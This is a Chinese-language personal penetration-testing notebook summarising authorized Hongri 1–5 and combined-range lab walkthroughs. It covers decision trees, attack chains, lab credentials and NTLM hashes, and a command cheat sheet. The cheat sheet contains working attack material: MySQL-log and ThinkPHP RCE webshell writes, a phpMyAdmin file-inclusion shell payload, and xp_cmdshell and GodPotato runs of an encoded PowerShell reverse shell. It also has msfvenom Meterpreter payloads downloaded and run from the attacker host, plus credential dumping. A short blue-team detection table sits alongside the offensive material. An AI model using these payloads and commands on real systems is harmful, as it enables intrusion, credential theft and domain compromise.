内网渗透个人笔记#
个人授权靶场复盘笔记。本文中的 IP、账户、密码、Hash、Payload 与操作命令均来自授权靶场学习记录,只能用于合法授权环境。
这版笔记不再追求把原文重新铺一遍,而是把红日 1-5 和综合靶场抽成“判断路径、技术卡片、踩坑规则、靶场复盘”。需要完整过程时,直接跳转到对应来源文章。
0. 来源地图#
1. 我的内网渗透总流程#
1
2
3
4
5
6
7
8
9
10
11
| 网络可达性
-> 外部入口识别
-> 初始命令执行
-> 权限与架构确认
-> 稳定上线
-> 内网网段发现
-> 凭据抓取
-> 路由/代理/转发
-> 横向移动
-> 域权限扩展
-> 战果、失败点、检测点复盘
|
1.1 每个阶段必须回答的问题#
| 阶段 | 必答问题 | 判断依据 |
|---|
| 网络 | Kali、宿主、靶机之间到底谁能访问谁 | ping、nmap -sn、ipconfig、VMware 网卡 |
| 入口 | 是 Web、数据库、SMB 漏洞,还是弱口令 | 端口、服务版本、目录、CMS 指纹 |
| 命令执行 | 当前命令在哪个用户、哪个架构、哪个网络里执行 | whoami、systeminfo、ipconfig /all、tasklist |
| 上线 | 目标能不能主动回连,攻击机能不能连目标 | reverse/bind 选择、端口监听、防火墙 |
| 内网 | 已控主机是否双网卡,默认路由和 DNS 是谁 | route print、arp -a、ping <domain> |
| 凭据 | 能抓到本地 Hash、明文、域用户、机器账户还是 krbtgt | Kiwi/Mimikatz 输出分区 |
| 横向 | 当前凭据是否有目标本地管理员权限 | C$ 验证、PsExec/WMI/RDP、漏洞扫描 |
| 域攻击 | 是凭据类、委派类、证书类还是 Kerberos 票据类 | 域信息、SPN、ADCS 模板、SID、Hash |
1.2 最重要的心法#
| 心法 | 解释 |
|---|
| 先排网络,再打漏洞 | Windows 能访问但 Kali 不能访问时,多半是网卡/路由问题,不是漏洞问题 |
| 命令不是答案,条件才是 | 每条命令前都要知道前置条件;否则换个靶场就失效 |
| 连接方向决定上线方式 | reverse、bind、SMB Beacon、本地转发,本质都在解决“谁能连谁” |
| 凭据不等于权限 | 普通域用户密码只能证明身份,不能保证能横向到域控 |
| 失败信息很值钱 | 1355、1053、认证成功无 session、架构不匹配,都是路径切换信号 |
2. 拿到 WebShell 后的决策树#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| 拿到 WebShell / RCE
|
+-- 1. 当前身份是谁?
| +-- 普通 Web 用户 -> 看提权点、配置文件、数据库凭据
| +-- Administrator / SYSTEM -> 直接进入凭据和内网阶段
|
+-- 2. 目标系统和架构?
| +-- Windows x64 -> payload / Kiwi / migrate 都尽量 x64
| +-- Linux -> 查 SUID、内核、Docker、SSH 凭据
|
+-- 3. 是否能出网或回连?
| +-- 能回 Kali -> reverse_tcp / HTTP Beacon
| +-- 不能回 Kali,但 Kali 能连它 -> bind_tcp
| +-- 只能内网互通 -> 回连到跳板内网 IP / SMB Beacon / 端口转发
|
+-- 4. 是否双网卡?
| +-- 是 -> 记录内网网段,添加路由或 SOCKS
| +-- 否 -> 看 ARP、DNS、域信息,寻找下一层入口
|
+-- 5. 是否能抓凭据?
+-- 能 -> 判断凭据权限,尝试 C$ / WMI / PsExec / RDP
+-- 不能 -> 换漏洞型横向、委派、ADCS 或本机提权路径
|
2.1 WebShell 后最小检查清单#
| 检查项 | Windows | Linux |
|---|
| 身份 | whoami | id |
| 架构 | systeminfo、wmic os get osarchitecture | uname -a |
| 网络 | ipconfig /all、route print、arp -a | ip a、ip route |
| 进程 | tasklist /svc | ps aux |
| 域 | net view /domain、net group "domain controllers" /domain | 看 DNS、hosts、内网扫描 |
| 凭据线索 | Web 配置、数据库、LSASS | 配置文件、历史命令、SSH key、数据库 |
3. 阶段方法论与技术卡片#
3.1 技术卡片模板#
以后每补一个技术点,按这个模板写,别只丢命令:
1
2
3
4
5
6
7
8
9
| 技术名:
来源:
适用场景:
前置条件:
关键动作:
成功标志:
失败信号:
替代路径:
检测/防守视角:
|
3.2 网络与环境排障卡片#
来源:红日1靶场(灵境平台)完整渗透记录
| 项 | 内容 |
|---|
| 场景 | Windows 宿主能访问灵境靶场,Kali 不能访问 |
| 判断 | 靶场流量走 LingJing VPN,不是本地 VMnet |
| 关键动作 | Kali 增加桥接到 LingJing 的网卡,并用 dhcpcd eth1 获取地址 |
| 成功标志 | Kali 获得 192.168.188.x,能 ping 靶场外网 IP |
| 失败排查 | VMware GUI 保存失败时,直接编辑 .vmx 的 bridgeAdapter |
最值得记住的是:同网段不等于同链路。Kali 在 VMnet2 里扫不到靶机时,不要继续爆破空气,要先验证宿主路由。
3.3 初始访问卡片#
| 技术 | 来源 | 前置条件 | 成功标志 | 失败/替代 |
|---|
| MySQL 日志写 WebShell | 红日1靶场(灵境平台)完整渗透记录 | phpMyAdmin 高权限账户,知道 Web 根目录 | 访问 shell.php,蚁剑连接 | INTO OUTFILE 被 secure_file_priv 限制时改用 general_log/slow_query_log |
| ThinkPHP 5.0.22 RCE | 红日5靶场 | 版本存在 RCE,Web 目录可写 | whoami 有回显,写入 shell.php | 先查杀软和写权限 |
| Joomla 配置泄露 | 红日3靶场(灵境平台) | configuration.php~ 可读,数据库可连 | 修改后台管理员 Hash 登录 | WebShell 被禁用函数限制时,用插件绕过或转 SSH |
| WebLogic CVE-2019-2725 | 红日2靶场(灵境平台) | 7001 开放且漏洞存在 | Meterpreter session | x64 系统必须设置 x64 payload,失败可多次运行 |
| MSSQL xp_cmdshell | 内网渗透体系建设 — 靶场 WriteUp | sa 弱口令或高权限 SQL 账户 | xp_cmdshell 'whoami' 有输出 | 服务账户权限低时接 Potato 提权 |
| Tomcat PUT 上传 | 红日4靶场 | Tomcat 版本和配置允许 PUT | JSP 文件可访问 | 拿到容器 shell 后继续判断 Docker/宿主 |
3.4 提权与凭据卡片#
| 技术 | 来源 | 前置条件 | 成功标志 | 失败排查 |
|---|
getsystem | 红日2靶场(灵境平台)、红日5靶场 | Meterpreter 当前用户可被提权 | NT AUTHORITY\SYSTEM | 不成功就查权限、UAC、服务账户 |
| GodPotato | 内网渗透体系建设 — 靶场 WriteUp | 服务账户具备 SeImpersonatePrivilege | nt authority\system | .NET 版本和系统版本要匹配 |
| Kiwi/Mimikatz | 多个靶场 | SYSTEM 或高权限,能读取 LSASS | 明文、NTLM、机器账户、krbtgt | x86 Kiwi 跑 x64 系统要先 migrate |
| Docker 逃逸 | 红日4靶场 | 容器特权模式或宿主挂载条件 | 进入宿主机视角 | 先判断是否容器,不要把容器 root 当宿主 root |
3.5 横向与域攻击卡片#
4. 连接、路由与横向移动选择表#
4.1 上线方式选择#
| 方式 | 连接方向 | 适用条件 | 失败信号 | 下一步 |
|---|
| reverse_tcp | 目标回连监听端 | 目标能访问 Kali 或跳板监听 IP | handler 无连接 | 换 LHOST、查出网、防火墙,或改 bind |
| bind_tcp | 攻击端连接目标监听端口 | 攻击机/跳板能连目标 | 认证成功无 session,端口不通 | 换端口,确认防火墙,改 reverse 到跳板 |
| SMB Beacon | 通过已控主机挂内网会话 | CS 场景,内网主机不能直接回 Kali | Beacon 不出现 | 确认 SMB 监听器和父 Beacon |
| WMI Shell | 远程管理执行 | 管理员凭据,RPC/SMB 可达 | 名称解析失败 | 写 hosts,指定 DC/DNS |
| RDP | 图形化登录 | 3389 开放,账号允许登录 | 密码错误、过期、证书报错 | 改本地密码、/cert:ignore、开 RDP |
| SOCKS/转发 | 让工具穿过跳板 | 已有 session,需访问内网 | 扫描全失败 | 检查 route、proxychains、转发端口 |
4.2 路由与代理最小命令#
1
2
3
4
| meterpreter > run autoroute -s <subnet>/24
msf > route add <subnet> <netmask> <session-id>
msf > route print
use auxiliary/server/socks_proxy
|
Python 端口转发只在需要“内网目标回连到跳板,跳板再转发到 Kali”时使用。它不是默认选项,是连接方向受限时的补丁。
5. 域攻击与 Kerberos/ADCS 专题#
5.1 域攻击材料清单#
| 攻击 | 必备材料 | 常见缺口 |
|---|
| PsExec/WMI | 域管或目标本地管理员凭据 | 只有普通域用户 |
| Pass-the-Hash | NTLM Hash,目标允许 NTLM | 目标不接受或权限不足 |
| MS14-068 | 域用户、密码、用户 SID、DC IP | SID 不准、票据未注入 |
| S4U 委派 | 机器账户 Hash、目标 SPN、DC | DNS/hosts 不通,SPN 写错 |
| ADCS ESC1 | 可注册模板、可自定义身份、域用户凭据 | PKINIT 不支持,需要 Schannel |
| Golden Ticket | krbtgt Hash、域 SID、域名 | 把 SYSTEM SID 当成域 SID |
5.2 Kerberos 相关固定排查#
| 检查项 | 动作 |
|---|
| 主机名解析 | nslookup <host> <dc-ip>,必要时写 hosts |
| 当前票据 | Windows 用 klist,Linux 查 KRB5CCNAME |
| 票据污染 | 攻击前 klist purge |
| ccache 权限 | 在可写目录运行工具,必要时用 root |
| 时间同步 | Kerberos 对时间敏感,异常时查时间差 |
5.3 ADCS 记忆点#
ADCS ESC1 的核心不是“证书工具命令”,而是模板信任边界错了:
| 条件 | 含义 |
|---|
| 申请者可提供 Subject/UPN | 低权限用户能把自己包装成高权限身份 |
| 域用户有注册权限 | 攻击入口门槛低 |
| 证书可用于认证 | 可转化成域权限 |
| PKINIT 不可用 | 仍可能通过 LDAPS/Schannel 认证继续利用 |
6. 防守/检测视角#
这部分不是为了“隐藏”,而是帮助复盘时理解每一步会留下什么痕迹。
| 行为 | 典型痕迹 | 防守检查点 |
|---|
| WebShell 写入 | Web 目录新增异常 PHP/JSP,访问日志出现可疑参数 | 文件完整性、Web 日志、EDR 告警 |
| xp_cmdshell | SQL 配置变更,SQL Server 进程拉起命令解释器 | SQL 审计、进程父子关系 |
| PowerShell 反连 | powershell -nop -e,网络外连 | PowerShell 日志、命令行审计、网络连接 |
| Meterpreter/Beacon | 异常进程、可疑网络连接、内存注入 | EDR、Sysmon、网络流量 |
| 凭据抓取 | LSASS 访问、调试权限启用 | 进程访问事件、Credential Guard |
| 远程服务横向 | 服务创建、启动失败 1053、ADMIN$ 写入 | 7045、4624、5140、服务名异常 |
| RDP 登录 | 4624 Type 10,新增本地管理员 | 登录审计、本地组变更 |
| Kerberos 票据 | 异常 TGT/TGS、加密类型、生命周期 | 4768、4769、票据异常 |
| ADCS 滥用 | 异常证书申请、模板被低权限使用 | CA 审计、模板权限、SAN/UPN |
| 权限维持 | 计划任务、服务、Run Key | 自启动项基线、注册表审计 |
复盘时给每条攻击链补一个“蓝队怎么看”字段,能倒逼自己理解原理。
7. 靶场复盘#
7.1 红日 1#
来源:红日1靶场(灵境平台)完整渗透记录
| 项 | 内容 |
|---|
| 入口 | phpMyAdmin root/root |
| 外网主机 | STU1,192.168.242.97 |
| 内网网段 | 192.168.52.0/24 |
| 域控 | OWA,192.168.52.138 |
| 域 | GOD.ORG |
攻击链:
1
2
3
4
5
6
7
8
9
| LingJing VPN 桥接排障
-> phpMyAdmin 弱口令
-> MySQL general_log / slow_query_log 写 WebShell
-> 蚁剑拿 STU1 SYSTEM
-> MSF bind_tcp 上线
-> migrate x64 后 Kiwi 抓 GOD\Administrator
-> autoroute 192.168.52.0/24
-> PsExec reverse 到 STU1 内网 IP
-> OWA 域控 SYSTEM
|
关键凭据:
| 账户 | 明文/Hash |
|---|
| phpMyAdmin | root/root |
GOD\Administrator | hongrisec@2025,NTLM ad8b1b80e5d43bd61ab6796242bc7daa |
OWA\Administrator | NTLM 2e8b24e00bd703e52cfe327a072006b0 |
最有价值的坑:
| 坑 | 结论 |
|---|
| Kali 同网段仍扫不到靶机 | 靶场流量走 VPN,必须接入 LingJing 适配器 |
INTO OUTFILE 失败 | secure_file_priv 限制时改日志写马 |
| 域控 bind 没 session | 防火墙限制入站,改 reverse 到跳板内网 IP |
7.2 红日 2#
来源:红日2靶场(灵境平台)
| 项 | 内容 |
|---|
| 入口 | MS17-010 / WebLogic CVE-2019-2725 |
| WEB | 192.168.242.226 / 10.10.10.80 |
| DC | 10.10.10.10 |
| 域 | DE1AY |
攻击链:
1
2
3
4
5
6
7
8
| 端口发现 445/7001/1433/3389
-> WebLogic 或 MS17-010 拿 WEB
-> getsystem
-> Kiwi 抓域管凭据
-> RDP 验证
-> autoroute 10.10.10.0/24
-> PsExec bind_tcp 到 DC
-> DC SYSTEM
|
关键凭据:
| 账户 | 明文/Hash |
|---|
DE1AY\Administrator | 2wsx!QAZ,NTLM cf83cd7efde13e0ce754874aaa979a74 |
DE1AY\de1ay | 1qaz@WSX,NTLM 161cff084477fe596a5db81874498a24 |
DE1AY\mssql | 1qaz@WSX,NTLM 161cff084477fe596a5db81874498a24 |
krbtgt | NTLM 82dfc71b72a11ef37d663047bc2088fb |
最有价值的坑:
| 坑 | 结论 |
|---|
| Win7 x86 打 MS17-010 失败 | 模块只适合 x64,架构先确认 |
| WebLogic 多次无 session | 模块可能不稳定,且 payload 要手动换 x64 |
| PsExec 初次失败 | 先验证 C$,再换 payload/端口/连接方向 |
7.3 红日 3#
来源:红日3靶场(灵境平台)
| 项 | 内容 |
|---|
| 入口 | Joomla configuration.php~ 泄露 |
| 外网服务 | SSH、HTTP、MySQL |
| 关键跳板 | Linux Web 主机 |
| 内网 | 192.168.93.0/24 |
攻击链:
1
2
3
4
5
6
7
8
9
10
| Joomla 扫描
-> 配置备份泄露 MySQL 凭据
-> 修改 Joomla 管理员 Hash
-> 后台模板写 WebShell
-> 禁用函数绕过
-> SSH wwwuser
-> Linux 提权和内网扫描
-> MSF route / SOCKS / Python 转发
-> SMB 凭据爆破
-> PsExec 横向 WIN2008 / DC
|
关键凭据:
| 账户 | 明文 |
|---|
MySQL testuser | cvcvgjASD!@ |
SSH wwwuser | wwwuser_123Aqx |
Windows administrator | 123qwe!ASD、zxcASDqw123!! |
最有价值的坑:
| 坑 | 结论 |
|---|
| WebShell 连接但命令不能执行 | 不要急着换洞,先查禁用函数 |
| SSH 算法不兼容 | 老系统需要显式允许 ssh-rsa |
| 字典爆破无结果 | 字典不是万能的,凭据来源要多元 |
| 内网回连复杂 | Python 转发能补连接方向问题 |
7.4 红日 4#
来源:红日4靶场
| 项 | 内容 |
|---|
| 入口 | Struts2、Tomcat、phpMyAdmin Docker 服务 |
| Web | Ubuntu 双网卡 |
| 内网 | 192.168.183.0/24 |
| DC | 192.168.183.130 |
| 域 | DEMO |
攻击链:
1
2
3
4
5
6
7
8
9
10
| Web 服务 RCE
-> 容器 shell
-> Docker privileged 逃逸
-> Ubuntu 上线
-> MS17-010 拿 Win7
-> Kiwi 抓 douser
-> MS14-068 伪造票据
-> 访问 DC C$
-> 远程服务执行
-> DCSync
|
关键凭据与 Hash:
| 账户 | 明文/Hash |
|---|
DEMO\douser | Dotest123 |
douser SID | S-1-5-21-979886063-1111900045-1414766810-1107 |
DEMO\krbtgt | NTLM 7c4ed692473d4b4344c3ba01c5e6cb63 |
DEMO\Administrator | NTLM 68fa0147af8369f611458bf34342c42a |
最有价值的坑:
| 坑 | 结论 |
|---|
| 容器 root 不等于宿主 root | 先判断 Docker 边界 |
douser 不能直接横向 DC | 凭据类横向看权限,不只看密码 |
sc start 1053 | 靶场中可能 payload 已运行,结合监听判断 |
7.5 红日 5#
来源:红日5靶场
| 项 | 内容 |
|---|
| 入口 | ThinkPHP 5.0.22 RCE |
| Web | Win7,192.168.135.150 / 192.168.138.136 |
| DC | 192.168.138.138 |
| 域 | SUN |
攻击链:
1
2
3
4
5
6
7
8
9
10
| ThinkPHP RCE
-> 写 WebShell
-> 蚁剑上传 MSF/CS payload
-> getsystem
-> route 192.168.138.0/24
-> migrate x64
-> Kiwi 抓 SUN 域管
-> CS SMB Beacon psexec64 到 DC
-> hashdump krbtgt
-> 黄金票据练习
|
关键凭据与 Hash:
| 账户 | 明文/Hash |
|---|
SUN\Administrator | dc123.com,NTLM e8bea972b3549868cecd667a64a6ac46 |
SUN\leo | 123.com,NTLM afffeba176210fad4628f0524bfe1942 |
SUN\krbtgt | NTLM 65dc23a67f31503698981f2665f9d858 |
| 域 SID | S-1-5-21-3388020223-1982701712-4030140183 |
最有价值的坑:
| 坑 | 结论 |
|---|
| x86 payload 抓凭据不稳 | Meterpreter 架构尽量匹配系统 |
| SYSTEM 查不到域 SID | 查域用户 SID,再去掉 RID |
| CS 比 MSF 手动票据更顺 | 工具选择会影响操作复杂度 |
7.6 综合靶场#
来源:内网渗透体系建设 — 靶场 WriteUp
| 项 | 内容 |
|---|
| 入口 | MSSQL sa/123456 |
| Web01 | 192.168.93.146 / 172.22.10.22 |
| 内网 | 172.22.10.0/24 |
| DC | 172.22.10.11 |
| CA | 172.22.10.13 |
| 域 | aerospace.local |
攻击链:
1
2
3
4
5
6
7
8
9
10
11
| MSSQL 弱口令
-> xp_cmdshell
-> GodPotato SYSTEM
-> fscan 内网
-> MS17-010 拿 WIN-PC8086
-> 抓机器账户 Hash
-> 约束委派到 WIN-PC8098
-> 抓 liuyuhua 凭据
-> ADCS ESC1 申请 Administrator 证书
-> PKINIT 不可用,LDAP Shell 改域管密码
-> WMI 拿 DC01 和 CA
|
关键凭据与 Hash:
| 账户 | 明文/Hash |
|---|
MSSQL sa | 123456 |
WIN-PC8086$ | NTLM 1878248073dc58f665227675e99b8333 |
aerospace\liuyuhua | Yu%a#E8T6iR,NTLM 2c8e4ec4d8a61869d85c7921c6076dfd |
aerospace\Administrator | P@ssw0rd2024! |
最有价值的坑:
| 坑 | 结论 |
|---|
getST.py 保存失败 | 换可写目录或 root |
| Kerberos 名称解析失败 | 写 hosts,指定 DC/DNS |
| PKINIT 不支持 | Schannel + LDAP Shell 是替代路径 |
| Certipy 解析失败 | 指定 -ns 和 -dc-ip |
8. 命令速查#
注释行用于说明命令意图,复制到交互式控制台时按需跳过。这里收录的是靶场里出现过、复用价值高的完整命令;超长一次性 Base64 输出不作为背诵对象,保留生成方式和执行方式。
8.1 网络排障与网卡确认#
1
2
3
4
5
| # Windows:查看所有网卡、IP、DNS、网关。用于判断宿主机或靶机是否双网卡、DNS 是否指向域控。
ipconfig /all
# Windows:查看 LingJing / VMware / 物理网卡名称。编辑 .vmx 的 bridgeAdapter 时必须和这里的 Name 完全一致。
Get-NetAdapter | Format-Table Name, InterfaceDescription
|
1
2
3
4
5
6
7
8
| # Kali:确认本机网卡、IP 和网段。拿到靶场地址后先看自己是否真的在可达网段。
ip a
# Kali:Kali 2025+ 常用 dhcpcd 获取地址,红日 1 用它让 eth1 从 LingJing VPN 网段拿 IP。
sudo dhcpcd eth1
# Kali:确认能否直达目标外网入口。
ping 192.168.242.12
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| # 红日 1:LingJing VPN 桥接不稳定时的完整恢复流程。
# 先杀掉旧 dhcpcd,避免租约和进程冲突。
sudo killall dhcpcd 2>/dev/null
# 让 NetworkManager 不再管理 eth1,避免它和 dhcpcd 抢配置。
sudo nmcli device set eth1 managed no
# 清空 eth1 地址并关闭网卡,准备重新获取地址。
sudo ip addr flush dev eth1
sudo ip link set eth1 down
# 删除旧租约,避免拿到重复或过期地址。
sudo rm -f /var/lib/dhcpcd/*.lease
# 恢复 eth0 NAT 网卡,保证 Kali 自己仍能出网。
sudo nmcli device set eth0 managed yes
sudo nmcli connection up eth0 2>/dev/null || sudo dhcpcd eth0
# 重新启用 eth1 并从 LingJing 网段获取地址。
sudo ip link set eth1 up
sudo dhcpcd eth1
# 最后检查结果。
ip a
|
8.2 扫描#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| # TCP 直连扫描,跳过 ping 探测。目标禁 ICMP 或经过 VPN/防火墙时很常用。
nmap -Pn -sT 192.168.242.12 -p 80,3306,445
# 存活主机扫描。用于确认一个网段里到底有哪些机器存在。
sudo nmap -sn 192.168.242.0/24
# 基础端口扫描,红日 1 外网入口使用过。
nmap 192.168.242.12
# 带版本和默认脚本扫描,综合靶场 Web01 使用过。
nmap -sV -sC -p21,80,1433,5985 192.168.93.146
# 红日 2:分别扫描 PC 和 WEB 两台外网靶机。
nmap -Pn 192.168.242.49
nmap -Pn 192.168.242.226
# SMB 漏洞脚本扫描,判断 MS17-010 等漏洞。
sudo nmap -p 445 192.168.242.49 -Pn --script smb-vuln*
sudo nmap -p 445 192.168.242.226 -Pn --script smb-vuln*
# 综合靶场:扫描 NAT 网段,定位 Web01。
nmap -sn 192.168.93.1/24
nmap 192.168.93.146
# Web 目录爆破,发现 phpMyAdmin、备份文件、后台等入口。
dirsearch -u 192.168.242.12 -t 100
dirsearch -u http://192.168.93.146
# Joomla 指纹与敏感路径扫描,红日 3 用于发现 configuration.php~。
joomscan -u http://<target>/
joomscan -u http://192.168.242.92/
# fscan 内网探测,综合靶场从 Web01 扫 172.22.10.0/24。
C:\Windows\Temp\fscan.exe -h 172.22.10.1/24
|
1
2
3
4
5
6
7
8
9
10
11
12
| # MSF:通过已控 session 扫内网目标端口,常用于只经过 Meterpreter 路由能访问的内网。
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.52.138
set PORTS 445,135,139,80,3389
set THREADS 5
run
# MSF:UDP 探测内网存活,红日 3 中用于 192.168.93.0/24。
use auxiliary/scanner/discovery/udp_probe
set RHOSTS 192.168.93.0-255
set THREADS 5
run
|
8.3 Web / CMS / 数据库入口#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Joomla:读取泄露的配置备份,提取数据库账号、密码、库名、表前缀。
curl http://192.168.242.92/configuration.php~
# Joomla:连接远程 MySQL。--skip-ssl 用于兼容旧 MySQL/MariaDB。
mysql -h 192.168.242.92 -u testuser -p'cvcvgjASD!@' --skip-ssl
# 综合靶场:匿名 FTP 登录 Web01,确认 FTP 目录是否有可利用文件。
ftp 192.168.93.146
# MSSQL:爆破 sa 弱口令,综合靶场获得 sa/123456。
hydra -l sa -P /usr/share/wordlists/rockyou.txt 192.168.93.146 mssql -t 4
# MSSQL:用 Impacket 连接 SQL Server。
impacket-mssqlclient sa:123456@192.168.93.146
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
| -- phpMyAdmin / MySQL:开启 general_log。
SET GLOBAL general_log = 'ON';
-- phpMyAdmin / MySQL:把 general_log 写到 Web 根目录下的 shell.php。
SET GLOBAL general_log_file = 'C:/phpStudy_pro/WWW/shell.php';
-- phpMyAdmin / MySQL:写入 WebShell 内容。红日 1 中密码参数是 cmd。
SELECT '<?php eval($_POST[cmd]);?>';
-- phpMyAdmin / MySQL:查看慢查询相关配置。
SHOW VARIABLES LIKE '%slow%';
-- phpMyAdmin / MySQL:开启慢查询日志。
SET GLOBAL slow_query_log = 1;
-- phpMyAdmin / MySQL:将慢查询日志路径指向 Web 根目录。
SET GLOBAL slow_query_log_file = 'C:/phpstudy_pro/WWW/shell1.php';
-- phpMyAdmin / MySQL:查看慢查询阈值。
SELECT @@long_query_time;
-- phpMyAdmin / MySQL:利用 SLEEP 触发慢查询写入 WebShell。
SELECT '<?php @eval($_POST["shell"]);?>' OR SLEEP(11);
-- phpMyAdmin / MySQL:查看 secure_file_priv,判断 INTO OUTFILE 是否可用。
SHOW VARIABLES LIKE 'secure_file_priv';
-- phpMyAdmin / MySQL:查看 MySQL 数据目录。
SHOW VARIABLES LIKE '%datadir%';
-- phpMyAdmin / MySQL:查看 MySQL 安装目录。
SELECT @@basedir;
-- phpMyAdmin / MySQL:查看 MySQL 用户权限信息。
SELECT * FROM mysql.user;
-- phpMyAdmin / MySQL:INTO OUTFILE 写马尝试;红日 1 中因 secure_file_priv 失败。
SELECT * FROM test_table INTO OUTFILE "/phpstudy_pro/www/create_shell.php";
-- phpMyAdmin / MySQL:secure_file_priv 放开时的直接写马模板。
SELECT '<?php @eval($_POST[a]);?>' INTO OUTFILE '/var/www/html/shell.php';
-- MySQL:读取本地文件,条件是 MySQL 用户具备 FILE 权限且路径可读。
SELECT load_file('/etc/passwd');
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| -- Joomla:查看数据库列表,确认是否存在 joomla 库。
show databases;
-- Joomla:进入 joomla 数据库。
use joomla;
-- Joomla:查看表名,定位 users 表和表前缀。
show tables;
-- Joomla:查看管理员账号和密码 Hash。
SELECT id, name, username, password FROM am2zu_users;
-- Joomla:把管理员密码 Hash 改为已知 Hash,红日 3 中用于登录后台。
UPDATE am2zu_users SET password='$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi' WHERE id=891;
|
1
2
3
4
5
6
7
8
9
10
11
12
13
| -- MSSQL:开启高级选项。
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
-- MSSQL:开启 xp_cmdshell。
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- MSSQL:确认命令执行身份。
EXEC xp_cmdshell 'whoami';
-- MSSQL:执行 PowerShell 反弹 Shell。<base64> 由 Kali 上 UTF-16LE + base64 生成。
EXEC xp_cmdshell 'powershell -nop -e <base64>';
|
1
2
3
4
5
6
7
8
9
10
11
| # ThinkPHP 5.0.22:验证命令执行,浏览器访问或用代理工具发 GET。
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
# ThinkPHP 5.0.22:查看进程和服务,判断是否有杀软。
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tasklist /svc
# ThinkPHP 5.0.22:写入 WebShell。
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[cmd]);?>" > shell.php
# ThinkPHP 5.0.22:查看目录,确认 shell.php 是否落地。
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
|
1
2
3
4
5
6
7
8
9
10
11
| # Tomcat:搜索本地 exploit-db 中的 Tomcat 8.5.19 相关利用。
searchsploit tomcat 8.5.19
# Tomcat:复制 exploit 到当前目录。
searchsploit -m /exploit/jsp/webapps/42966.py
# Tomcat:检测 PUT 上传漏洞,访问 Poc.jsp 验证。
python 42966.py -u http://192.168.157.128:2002/
# Tomcat:上传并进入交互式 JSP Shell,红日 4 中用 -p pwn 生成 pwn.jsp。
python 42966.py -u http://192.168.157.128:2002/ -p pwn
|
1
2
3
4
5
6
7
8
| # phpMyAdmin CVE-2018-12613:读取 /etc/passwd 的文件包含 POC。
?target=db_sql.php%253f/../../../../../../../../etc/passwd
# phpMyAdmin CVE-2018-12613:包含 session 文件,红日 4 中用于触发写入过的 PHP 片段。
?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_5b72d8a8c59d4b8df7268f33858f6de5
# phpMyAdmin CVE-2018-12613:尝试通过 session 包含执行 file_put_contents 写 shell。
?target=tbl_zoom_select.php?/../../../../../../tmp/sess_e7bec897077c4a99f9e6e5da0bed67b5&cmd=file_put_contents("/var/www/html/shell.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg=="));
|
8.4 文件传输、Payload 生成与上线#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| # Kali:启动临时 HTTP 服务,供目标下载工具或 payload。
python3 -m http.server 8080
python -m http.server 8000
# Kali:监听 PowerShell 反弹 Shell。
nc -lvnp 4444
# Windows 目标:用 certutil 下载 GodPotato。
certutil -urlcache -split -f http://192.168.93.128:8080/GodPotato-NET4.exe C:\Windows\Temp\GodPotato.exe
# Windows 目标:用 certutil 下载 fscan。
certutil -urlcache -split -f http://192.168.93.128:8080/fscan.exe C:\Windows\Temp\fscan.exe
# Windows 目标:PowerShell 下载 Mimikatz。
Invoke-WebRequest -Uri http://192.168.93.128:8080/mimikatz.exe -OutFile C:\Users\hacker\mimikatz.exe
|
1
2
3
4
5
| :: GodPotato:测试能否从服务账户提权到 SYSTEM。
C:\Windows\Temp\GodPotato.exe -cmd "whoami"
:: GodPotato:用 SYSTEM 权限执行反弹 Shell。<base64> 使用 Kali 上生成的 PowerShell UTF-16LE Base64。
C:\Windows\Temp\GodPotato.exe -cmd "powershell -nop -e <base64>"
|
1
2
3
4
5
6
7
8
| # MSFVenom:生成 Windows bind_tcp Meterpreter,红日 1 用于目标不能回连时正向连接。
msfvenom -p windows/meterpreter/bind_tcp LPORT=5555 -f exe > bind.exe
# MSFVenom:生成 Windows reverse_tcp Meterpreter,红日 5 用蚁剑上传后执行。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.135.128 LPORT=4444 -f exe > abc.exe
# MSFVenom:生成 Linux x86 Meterpreter ELF,红日 4 Tomcat 容器中下载执行。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.129 LPORT=4444 -f elf > shell.elf
|
1
2
3
4
5
6
7
8
| # Linux 目标:下载 Linux payload。
wget http://192.168.157.129:8000/shell.elf
# Linux 目标:给 payload 执行权限。
chmod 777 shell.elf
# Linux 目标:执行 payload,回连 Kali handler。
./shell.elf
|
1
2
3
4
5
| # CS:上传 Cobalt Strike 到 Kali 后赋予执行权限。
sudo chmod -R +x ~/workspace/cs4.7/Cobalt_Strike_4.7
# CS:启动 TeamServer。第一个参数是 Kali IP,第二个参数是连接密码。
sudo ./teamserver 192.168.188.134 123456
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| # CS Beacon:取消 sleep 延迟,方便实验时实时回显。
sleep 0
# CS Beacon:运行 Windows 原生命令。
shell whoami
shell ipconfig /all
shell net user
# CS Beacon:抓取明文密码。
logonpasswords
# CS Beacon:抓取 Hash。
hashdump
# CS Beacon:扫描内网网段和端口。
portscan 192.168.138.0/24
|
8.5 MSF / Meterpreter 基础操作#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
| # 查看当前 Meterpreter 会话权限。
getuid
